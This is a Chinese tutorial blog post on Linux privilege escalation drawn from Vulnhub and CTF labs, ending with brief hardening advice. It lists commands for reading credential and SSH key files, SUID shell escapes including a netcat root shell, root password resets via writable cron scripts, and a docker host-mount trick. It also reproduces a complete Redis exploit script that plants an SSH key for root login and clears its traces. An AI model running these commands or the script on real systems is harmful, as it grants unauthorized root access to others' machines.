zoukankan      html  css  js  c++  java
  • Linux提权思路

    什么是权限

    在Linux 系统中,ls -al 即可查看列出文件所属的权限。这里用kali系统来演示。

    ……
    drwxr-xr-x  2 kali kali    4096 Jan 27 12:52 Downloads
    -rw-r--r--  1 root root     903 Jun 14 11:33 exp.html
    -rw-r--r--  1 root root  153600 May  5 09:42 flag
    lrwxrwxrwx  1 kali kali      28 May 14 08:28 flagg -> /proc/self/cwd/flag/flag.jpg
    -rw-r--r--  1 kali kali     188 May 14 08:29 flagg.zip
    -rw-r--r--  1 root root 1807342 Apr 20 06:52 get-pip.py
    drwx------  3 kali kali    4096 Jun 18 21:35 .gnupg
    -rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt
    -rw-r--r--  1 root root   12396 Jun 11 00:13 hydra.restore
    -rw-------  1 kali kali    5202 Jun 18 21:35 .ICEauthority
    -rw-r--r--  1 root root    2046 Jun 10 22:58 jim_pass.txt
    ……
    

    这些都代表什么意思,我们从左往右看。

    -rw-r--r--  1 root root      56 Jun 16 23:29 hash.txt
    

    这里可以分为7个字段。

    • 第一组数据 -rw-r--r--

    第一位:

    - : 代表普通文件

    d:代表目录

    l:代表软链接

    b:代表块文件

    c:代表字符设备

    第二及后面几位,分别三个为一组:

    rw-r--r-- 代表文件所属的权限

    r : 文件可读。w : 文件可修改。- : 表示暂时没有其他权限。x : 表示可执行

    1. rw- 表示文件所拥有者的权限。

    2. r-- 表示文件所在组的用户的权限。

    3. r-- 表示其他组的用户的权限。

    4. 第二组数据 1

      • 如果文件类型为目录,表示目录下的字目录个数

      • 如果文件类型是普通文件,这个数据就表示这个文件的硬链接个数

    5. 第三组数据 root 表示该文件所有者为root 用户

    6. 第四组数据 root 表示该文件所在组为root 组

    7. 第五组数据56 表示文件的大小为多少字节。如果为一个目录,则为4096。

    8. 第六组数据表示最后一次修改时间

    9. 第七组数据表示文件名称

    如果为目录,r 表示可以进入该目录进行查看。 w 表示文件可以进行增加。x 表示可以进入这个目录

    同样的,可以用数字代替,r=4,w=2,x=1。

    为什么提权

    当成功通过80或者443端口通过web服务渗透时,常常是www-data 。无法执行root 权限下的命令或者读取root 下的重要文件。这个时候就需要提权,在root 权限下,还可以通过msfvenom生成其他后门文件或者一些隐藏后门。添加用户,开启其他端口等操作,达到权限持续控制。

    简单的说,就是不提权就无法完成进一步渗透。

    怎么样提权

    大师傅都说,渗透的本质是信息搜集。

    提权也是,要进行充分的信息搜集。

    提权思路:大概思路是通过信息搜集查找可利用的文件/脚本/软件/用户/内核漏洞/恶意劫持/特定平台漏洞/框架漏洞/组件/等,写入或执行恶意命令/脚本/shell/添加高权限用户,提权成功,然后进一步利用。

    基础信息搜集

    内核,操作系统,设备信息

    uname -a    打印所有可用的系统信息
    uname -r    内核版本
    uname -n    系统主机名。
    uname -m    查看系统内核架构(64位/32位)
    hostname    系统主机名
    cat /proc/version    内核信息
    cat /etc/*-release   分发信息
    cat /etc/issue       分发信息
    cat /proc/cpuinfo    CPU信息
    cat /etc/lsb-release # Debian 
    cat /etc/redhat-release # Redhat
    ls /boot | grep vmlinuz-
    

    用户和群组

    cat /etc/passwd     列出系统上的所有用户
    cat /var/mail/root
    cat /var/spool/mail/root
    cat /etc/group      列出系统上的所有组
    grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'      列出所有的超级用户账户
    whoami              查看当前用户
    w                   谁目前已登录,他们正在做什么
    last                最后登录用户的列表
    lastlog             所有用户上次登录的信息
    lastlog –u %username%  有关指定用户上次登录的信息
    lastlog |grep -v "Never"  最后用户登录的信息
    

    用户权限信息

    whoami        当前用户名
    id            当前用户信息
    cat /etc/sudoers  谁被允许以root身份执行
    sudo -l       当前用户可以以root身份执行操作
    

    环境信息

    env        显示环境变量
    set        现实环境变量
    echo %PATH 路径信息
    history    显示当前用户的历史命令记录
    pwd        输出工作目录
    cat /etc/profile   显示默认系统变量
    cat /etc/shells    显示可用的shell
    cat /etc/bashrc    为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取
    cat ~/.bash_profile 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次!默认情况下,他设置一些环境变量,执行用户的.bashrc文件
    cat ~/.bashrc  该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取
    cat ~/.bash_logout  当每次退出系统(退出bash shell)时,执行该文件
    

    进程服务

    ps aux
    ps -ef
    top
    cat /etc/services
    

    查看以root 运行的进程

    ps aux | grep root
    ps -ef | grep root
    

    查看安装的软件

    ls -alh /usr/bin/
    ls -alh /sbin/
    ls -alh /var/cache/yum/
    dpkg -l
    

    服务/插件

    检查有没有不安全的服务配置,和一些有漏洞的插件。

    cat /etc/syslog.conf
    cat /etc/chttp.conf
    cat /etc/lighttpd.conf
    cat /etc/cups/cupsd.conf
    cat /etc/inetd.conf
    cat /etc/apache2/apache2.conf
    cat /etc/my.conf
    cat /etc/httpd/conf/httpd.conf
    cat /opt/lampp/etc/httpd.conf
    ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
    

    计划任务

    crontab -l
    ls -alh /var/spool/cron
    ls -al /etc/ | grep cron
    ls -al /etc/cron*
    cat /etc/cron*
    cat /etc/at.allow
    cat /etc/at.deny
    cat /etc/cron.allow
    cat /etc/cron.deny
    cat /etc/crontab
    cat /etc/anacrontab
    cat /var/spool/cron/crontabs/root
    

    有无明文存放用户密码

    grep -i user [filename]
    grep -i pass [filename]
    grep -C 5 "password" [filename]
    find / -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
    

    Vulnhub 上的靶机就体现在,通过邮件明文传输密码了,然后就可以通过ssh登陆了。进行新的信息搜集。

    有无ssh私钥

    cat ~/.ssh/authorized_keys
    cat ~/.ssh/identity.pub
    cat ~/.ssh/identity
    cat ~/.ssh/id_rsa.pub
    cat ~/.ssh/id_rsa
    cat ~/.ssh/id_dsa.pub
    cat ~/.ssh/id_dsa
    cat /etc/ssh/ssh_config
    cat /etc/ssh/sshd_config
    cat /etc/ssh/ssh_host_dsa_key.pub
    cat /etc/ssh/ssh_host_dsa_key
    cat /etc/ssh/ssh_host_rsa_key.pub
    cat /etc/ssh/ssh_host_rsa_key
    cat /etc/ssh/ssh_host_key.pub
    cat /etc/ssh/ssh_host_key
    

    查看与当前机器通信的其他用户或者主机

    lsof -i
    lsof -i :80
    grep 80 /etc/services
    netstat -antup
    netstat -antpx
    netstat -tulpn
    chkconfig --list
    chkconfig --list | grep 3:on
    last
    w
    

    日志文件

    cat /var/log/boot.log
    cat /var/log/cron
    cat /var/log/syslog
    cat /var/log/wtmp
    cat /var/run/utmp
    cat /etc/httpd/logs/access_log
    cat /etc/httpd/logs/access.log
    cat /etc/httpd/logs/error_log
    cat /etc/httpd/logs/error.log
    cat /var/log/apache2/access_log
    cat /var/log/apache2/access.log
    cat /var/log/apache2/error_log
    cat /var/log/apache2/error.log
    cat /var/log/apache/access_log
    cat /var/log/apache/access.log
    cat /var/log/auth.log
    cat /var/log/chttp.log
    cat /var/log/cups/error_log
    cat /var/log/dpkg.log
    cat /var/log/faillog
    cat /var/log/httpd/access_log
    cat /var/log/httpd/access.log
    cat /var/log/httpd/error_log
    cat /var/log/httpd/error.log
    cat /var/log/lastlog
    cat /var/log/lighttpd/access.log
    cat /var/log/lighttpd/error.log
    cat /var/log/lighttpd/lighttpd.access.log
    cat /var/log/lighttpd/lighttpd.error.log
    cat /var/log/messages
    cat /var/log/secure
    cat /var/log/syslog
    cat /var/log/wtmp
    cat /var/log/xferlog
    cat /var/log/yum.log
    cat /var/run/utmp
    cat /var/webmin/miniserv.log
    cat /var/www/logs/access_log
    cat /var/www/logs/access.log
    ls -alh /var/lib/dhcp3/
    ls -alh /var/log/postgresql/
    ls -alh /var/log/proftpd/
    ls -alh /var/log/samba/
    
    Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
    

    交互式shell

    python -c 'import pty;pty.spawn("/bin/bash")'
    echo os.system('/bin/bash')
    /bin/sh -i
    

    可提权SUID&&GUID

    参考资料https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

    find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
    find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
    find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
    
    find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
    for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
    
    # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
    find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
    

    查看可写/执行目录

    find / -writable -type d 2>/dev/null      # world-writeable folders
    find / -perm -222 -type d 2>/dev/null     # world-writeable folders
    find / -perm -o w -type d 2>/dev/null     # world-writeable folders
    find / -perm -o x -type d 2>/dev/null     # world-executable folders
    find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
    

    查看安装过的工具

    find / -name perl*
    find / -name python*
    find / -name gcc*
    ...
    

    提权操作

    SUID提权

    什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

    这里推荐 P师傅的 https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html

    常见的可用来提权的Linux 可执行文件有:

    Nmap, Vim, find, bash, more, less, nano, cp

    查看可以suid 提权的可执行文件

    find / -perm -u=s -type f 2>/dev/null
    
    • find

    image-20201002111226236

    ls -al /usr/bin/find
    -rwsr-xr-x 1 root root 162424 Jan  6  2012 /usr/bin/find
    

    实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

    比如:DC -1 靶机就是利用find 命令进行root 用户来执行命令

    image-20201002111506644

    大部分Linux 系统都安装了nc。使用find aaa -exec netcat -lvp 5555 -e /bin/sh \; 即可成功反弹root shell

    • nmap

    早期nmap 具有交互模式,version 2.02~5.21(5.2.0)。这里我用metasploitable2 来演示

    namp -V 查看nmap版本信息

    nmap --interactive

    image-20201002112022297

    我最喜欢的Metasploit 中就有利用 SUID nmap 提权的exp

    search nmap 然后利用 exploit/unix/local/setuid_nmap 漏洞利用模块即可

    5.2.0 之后,nmap 还可以通过执行脚本来提权。

    # nse 脚本,shell.nse
    os.execute('/bin/sh')
    # nmap 提权
    nmap --script=shell.nse 
    # 在某些发行版的Linux 可能会提权失败。具体原理移步p师傅文章
    

    或者

    echo 'os.execute("/bin/sh")' > getshell
    sudo nmap --script=getshell
    

    参考DC 6 靶机:https://hack-for.fun/posts/8886.html#%E6%8F%90%E6%9D%83

    • vim

    如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

    vim /etc/shadow
    

    vim 运行shell

    vim
    :set shell=/bin/sh
    :shell
    

    同理,满足条件的 less 和 more 都可。

    利用内核漏洞

    比如DC 3 靶机,就是利用系统内核漏洞来进行提权。

    image-20201002112326974

    searchsploit Ubuntu 16.04
    

    将exp 下载下来,解压,编译,运行,即可get root 权限。

    tar xvf exploit.tar
    

    https://www.exploit-db.com/exploits/39772

    还有大名鼎鼎的CVE-2016-5195,脏牛漏洞。(Linux kernel >=2.6.22 并且Android也受影响

    其他内核漏洞:

    Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – 'overlayfs' Local Root Shell

    https://www.exploit-db.com/exploits/37292/

    Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit

    https://www.exploit-db.com/exploits/39166/

    Linux Kernel 4.3.3 – 'overlayfs' Local Privilege Escalation

    https://www.exploit-db.com/exploits/39230/

    提示:内核exploit提权有风险,有可能会崩溃系统。

    利用root无密码执行

    简单来说,就是一个脚本,比如py,sh等或者是一个命令。这个文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。

    比如常见的:

    • 写入一个root身份权限的用户进入/etc/passwd 文件中

    这里以DC 4 为例子:

    image-20201002112627777

    teehee -a 将输入的内容追加到另一个文件中

    简单说下/etc/passwd 各个字段的含义:

    username:password:User ID:Group ID:comment:home directory:shell
    

    image-20201002112702162

    成功获取到root 权限。类似的操作还有很多,核心思想不变。

    利用环境变量提权

    PATH 是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

    使用echo命令显示当前PATH环境变量:

    image-20201002113234588

    如果你在PATH变量中看到.,则意味着登录用户可以从当前目录执行二进制文件/脚本

    我们先编译一个可执行文件shell。

    #include<unistd.h>
    void main()
    {
      setuid(0);
      setgid(0);
      system("cat /etc/passwd");
    }
    // aaa.c
    

    image-20201002113350699

    在给该文件赋予权限。

    然后查看它的权限可以发现是有s 位,即suid

    现在我们在目标机器上用find / -perm -u=s -type f 2>/dev/null 来查看可以suid提权的文件,发现之前编译的shell可执行文件在里面。

    image-20201002113433468

    更多的操作可以参考:https://xz.aliyun.com/t/2767

    利用存在漏洞的命令

    不可否认的是命令很多,我们不可能熟悉每一种命令的漏洞。不过我们每次遇到了都可以用searchsploit 来寻找可利用的exp。

    这里以DC 5 靶机为例:

    ls -al

    image-20201002113539558

    image-20201002113557129

    可以通过cat 读取一下这个文件怎么用。

    攻击机器开启一个http服务:

    python -m SimpleHTTPServer
    

    将exploit 用 wget下载到可执行的/tmp/目录下。然后执行sh 文件。最后在/etc/目录下执行./rootshell 即可get root shell。

    image-20201002113739282

    还有之前爆的sudo 提权,CVE-2019-14187。只不过比较鸡肋。

    Sudo 的全称是“superuserdo”,它是Linux系统管理指令,允许用户在不需要切换环境的前提下以其它用户的权限运行应用程序或命令。通常以 root 用户身份运行命令,是为了减少 root 用户的登录和管理时间,同时提高安全性。

    利用前提

    1. sudo -v < 1.8.28
    2. 知道当前用户的密码
    3. 当前用户存在于sudo权限列表

    复现参考:https://www.cnblogs.com/ethtool/p/12176730.html

    还可通过诱导错误的命令来实现更改root密码,参考:http://uuzdaisuki.com/2020/02/12/linux常见提权方式总结/

    crontab定时任务提权

    crontab是cron table的简写,它是cron的配置文件,而cron是linux内置管理定时任务的进程。

    我们可以通过如下指令来编辑和查看当前工作表命令

    crontab [-u username]    //省略用户表表示操作当前用户的crontab
        -e      (编辑工作表)
        -l      (列出工作表里的命令)
        -r      (删除工作表)
    

    更多的crontab操作可以参考教程 https://www.runoob.com/w3cnote/linux-crontab-tasks.html

    root权限定时任务脚本普通用户可写

    以root权限执行的定时任务或其所在文件夹,低权限用户拥有写权限,则可进行提权。

    示例:

    切换到root用户,输入crontab -e,添加一个一分钟执行一次的shell脚本,然后赋予此脚本执行权限和其他用户可写权限。

    */1 * * * * /home/test/cron.sh
    

    开启其他shell,切换到普通用户,修改脚本内容为重置root密码,或者添加此普通用户权限等操作。

    echo "root:password" | chpasswd
    

    然后su root使用更改后密码切换至root

    如果文件不可写而文件夹可写的情况,如下图情况,可以删除到整个路径,然后重新由普通用户创建路径和其中脚本,就变成可写的情况了。

    image-20201002140851435

    root权限定时任务调用的脚本普通用户可写

    很多时候,定时任务并不是孤立存在的,它会去调用很多别的shell脚本来完成一些操作,而root权限的定时任务调用的脚本也会以root权限执行,所以我们仍需要关注其调用的其他脚本是否普通用户可写,如果可写,仍然可以提权。

    查询此类脚本的方法是首先找到root的定时任务 xxx.sh,然后在文件种查找其他shell脚本即可

    grep "*.sh" xxx.sh
    

    利用第三方服务提权

    Docker组提权

    参考文章:https://blog.csdn.net/qq_41918771/article/details/103666135

    docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
    组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

    普通用户执行:即可获得root权限。

    docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
    

    image-20201002114442931

    MySQL UDF提权

    之前在做JarivsOJ CTF 里有一个题,里面就用了UDF,那是我第一次遇到这个东西。

    show variables like '%compile%';
    show variables like 'plugin%';
    

    不过这里有一个限制,show global variables like 'secure%' secure_file_priv 没有具体的值(即能够导出/写入文件

    当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
    当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

    MSF 中的 exploit/multi/mysql/mysql_udf_payload 漏洞利用模块可以进行UDF提权

    使用 select sys_exec('whoami');select sys_eval('whoami'); 来执行系统命令

    Redis批量getshell

    如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。

    相关利用exp:https://github.com/Xyntax/POC-T/blob/9d538a217cb480dbd1f94f1fa6c8154a41b5b106/script/redis-sshkey-getshell.py

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # project = https://github.com/Xyntax/POC-T
    # author = i@cdxy.me
    
    """
    redis getshell expliot (ssh authorized_keys)
    """
    
    import redis
    import paramiko
    from plugin.util import host2IP
    from plugin.util import randomString
    from plugin.util import checkPortTcp
    from paramiko.ssh_exception import SSHException
    
    public_key = 'ssh-rsa ====='
    
    private_key = """
    -----BEGIN RSA PRIVATE KEY-----
    =====
    -----END RSA PRIVATE KEY-----
    """
    
    import time
    
    
    def poc(url):
        url = host2IP(url)
        ip = url.split(':')[0]
        port = int(url.split(':')[-1]) if ':' in url else 6379
        try:
            if not checkPortTcp(ip, 22):
                return False
            r = redis.Redis(host=ip, port=port, db=0)
            if 'redis_version' in r.info():
                key = randomString(10)
                r.set(key, '\n\n' + public_key + '\n\n')
                r.config_set('dir', '/root/.ssh')
                r.config_set('dbfilename', 'authorized_keys')
                r.save()
                r.delete(key)  # 清除痕迹
                r.config_set('dir', '/tmp')
                time.sleep(5)
                if testConnect(ip, 22):
                    return True
        except Exception:
            return False
        return False
    
    
    def testConnect(ip, port=22):
        try:
            s = paramiko.SSHClient()
            s.load_system_host_keys()
            s.connect(ip, port, username='root', pkey=private_key, timeout=10)
            s.close()
            return True
        except Exception, e:
            if type(e) == SSHException:
                return True
            return False
    

    其他……

    一般情况下,内核漏洞或者第三方服务来提权的情况更多。

    如何防止被提权

    • 系统管理员要安全,准确的配置SUID执行文件。
    • 一些没必要以高权限用户执行的文件,应该取消权限。
    • 规避使用无密码root 执行命令,脚本等。
    • 修复/升级存在已知漏洞的组件,升级操作系统版本最新版。
    • Linux 2.2 之后可以为命令增加 capabilities, 以p 师傅博客里的给nmap增加该属性为例。
    • 升级第三方服务,修复已知漏洞
    sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
    nmap --privileged -sS 192.168.1.1
    

    https://man7.org/linux/man-pages/man7/capabilities.7.html

    总结

    通过本次学习,脑海里有了一个大概的思路,以后遇到了也不会迷惘。但是我旁边师傅给我说,靶机的提权有些在实际中根本用不到。所以,还是要灵活处理,核心思路应该是不变的吧!

    相关资料

    参考

  • 相关阅读:
    Redis进阶
    redis常用指令
    MarkDown基本语法
    JAVA多线程面试
    使用POI操作Excel
    IDEA+GIT的使用
    获取地址栏的参数
    mybatis逆向工程
    遍历map集合
    springboot批量删除
  • 原文地址:https://www.cnblogs.com/lktop/p/13761302.html
Copyright © 2011-2022 走看看